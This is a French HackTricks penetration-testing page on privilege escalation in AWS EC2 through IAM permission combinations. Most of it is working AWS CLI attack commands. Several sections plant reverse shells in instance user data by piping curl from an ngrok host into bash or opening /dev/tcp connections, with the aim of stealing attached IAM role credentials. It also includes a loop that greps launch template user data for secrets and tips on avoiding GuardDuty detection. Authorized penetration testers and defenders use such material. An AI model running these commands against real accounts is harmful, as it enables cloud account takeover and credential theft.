# AWS - EC2 Privesc

{{#include ../../../banners/hacktricks-training.md}}

## EC2

Pour plus d'**informations sur EC2**, consultez :

{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

Un attaquant pourrait **créer une instance en attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis le point de terminaison des métadonnées.

- **Accès via SSH**

Lancez une nouvelle instance en utilisant une **clé ssh** **créée** (`--key-name`) puis connectez-vous via ssh (si vous souhaitez en créer une nouvelle, vous devrez peut-être avoir la permission `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```
- **Accès via rev shell dans les données utilisateur**

Vous pouvez exécuter une nouvelle instance en utilisant des **données utilisateur** (`--user-data`) qui vous enverront un **rev shell**. Vous n'avez pas besoin de spécifier de groupe de sécurité de cette manière.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Faites attention à GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :

{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}

**Impact potentiel :** Privesc direct à tout rôle EC2 attaché aux profils d'instance existants.

#### Privesc à ECS

Avec cet ensemble de permissions, vous pourriez également **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette manière, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès, puis vous pourrez pénétrer ces services (conteneurs docker) et **voler leurs rôles ECS attachés**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Pour apprendre à **forcer les services ECS à s'exécuter** dans cette nouvelle instance EC2, consultez :

{{#ref}}
aws-ecs-privesc.md
{{#endref}}

Si vous **ne pouvez pas créer une nouvelle instance** mais avez la permission `ecs:RegisterContainerInstance`, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée.

**Impact potentiel :** Privesc direct vers les rôles ECS attachés aux tâches.

### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

Semblable au scénario précédent, un attaquant avec ces permissions pourrait **changer le rôle IAM d'une instance compromise** afin de pouvoir voler de nouvelles informations d'identification.\
Comme un profil d'instance ne peut avoir qu'un seul rôle, si le profil d'instance **a déjà un rôle** (cas courant), vous aurez également besoin de **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Si le **profil d'instance a un rôle** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution de contournement. Il pourrait **trouver** un **profil d'instance sans rôle** ou **en créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **rôle** à ce **profil d'instance** (comme discuté précédemment), et **associer le profil d'instance** compromis à une instance compromise :

- Si l'instance **n'a pas de profil d'instance** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Impact potentiel :** Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique).

### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui y est associé.

- S'il **a un profil d'instance**, vous pouvez **supprimer** le profil d'instance (`ec2:DisassociateIamInstanceProfile`) et **l'associer**.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- ou **remplacer** le **profil d'instance** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Impact potentiel :** Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique).

### `ec2:RequestSpotInstances`,`iam:PassRole`

Un attaquant avec les permissions **`ec2:RequestSpotInstances`et`iam:PassRole`** peut **demander** une **instance Spot** avec un **rôle EC2 attaché** et un **rev shell** dans les **données utilisateur**.\
Une fois l'instance lancée, il peut **voler le rôle IAM**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
```
### `ec2:ModifyInstanceAttribute`

Un attaquant avec le **`ec2:ModifyInstanceAttribute`** peut modifier les attributs des instances. Parmi eux, il peut **changer les données utilisateur**, ce qui implique qu'il peut faire en sorte que l'instance **exécute des données arbitraires.** Cela peut être utilisé pour obtenir un **rev shell sur l'instance EC2**.

Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, donc les **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Impact potentiel :** Privesc direct à tout rôle IAM EC2 attaché à une instance créée.

### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

Un attaquant avec les permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` et `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle version de modèle de lancement** avec un **rev shell dans** les **données utilisateur** et **tout rôle IAM EC2 dessus**, changer la version par défaut, et **tout groupe Autoscaler** **utilisant** ce **modèle de lancement** qui est **configuré** pour utiliser la **dernière** ou la **version par défaut** va **relancer les instances** en utilisant ce modèle et exécutera le rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Impact potentiel :** Privesc direct vers un rôle EC2 différent.

### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`

Un attaquant avec les permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une configuration de lancement** avec un **rôle IAM** et un **rev shell** à l'intérieur des **données utilisateur**, puis **créer un groupe d'autoscaling** à partir de cette configuration et attendre que le rev shell **vole le rôle IAM**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Impact potentiel :** Privesc direct vers un rôle EC2 différent.

### `!autoscaling`

L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **n'est pas suffisant pour escalader** les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans la Configuration de Lancement ou dans le Modèle de Lancement **vous avez besoin des permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).

### `ec2-instance-connect:SendSSHPublicKey`

Un attaquant avec la permission **`ec2-instance-connect:SendSSHPublicKey`** peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a un accès ssh à l'instance) ou pour escalader les privilèges.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution.

### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

Un attaquant ayant la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess` pour l'activer**.

Pour se connecter au port série, vous devez également **connaître le nom d'utilisateur et le mot de passe d'un utilisateur** à l'intérieur de la machine.
```bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Cette méthode n'est pas très utile pour le privesc car vous devez connaître un nom d'utilisateur et un mot de passe pour l'exploiter.

**Impact potentiel :** (Hautement invérifiable) Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution.

### `describe-launch-templates`,`describe-launch-template-versions`

Étant donné que les modèles de lancement ont une version, un attaquant avec les permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, telles que des identifiants présents dans les données utilisateur. Pour ce faire, le script suivant parcourt toutes les versions des modèles de lancement disponibles :
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
```
Dans les commandes ci-dessus, bien que nous spécifions certains motifs (`aws_|password|token|api`), vous pouvez utiliser une regex différente pour rechercher d'autres types d'informations sensibles.

En supposant que nous trouvions `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS.

**Impact potentiel :** Escalade de privilèges directe vers l'utilisateur IAM.

## Références

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../banners/hacktricks-training.md}}
